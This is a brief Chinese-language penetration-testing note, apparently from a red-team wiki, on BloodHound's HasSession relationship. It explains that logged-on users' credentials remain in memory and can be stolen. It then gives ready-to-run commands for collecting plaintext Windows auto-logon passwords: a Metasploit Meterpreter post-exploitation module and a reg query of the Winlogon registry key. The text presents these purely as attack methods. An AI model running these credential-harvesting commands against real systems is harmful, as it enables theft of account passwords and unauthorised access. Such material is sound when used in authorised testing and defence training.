HasSession

1. 原理

当用户与计算机进行会话时，凭据会保留在内存中，这些凭据可以通过 LSASS 注入、令牌窃取或进程注入等方式来获取。
如用户把计算机设置自动登录，则可以使用MSF抓取自动登录的用户名和密码

2. 利用方式

2.1. 使用msf模块从注册表中获取明文密码

meterpreter > run post/windows/gather/credentials/windows_autologin

2.2. 直接读取注册表 获取明文密码

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

参考文章HasSession – BloodHound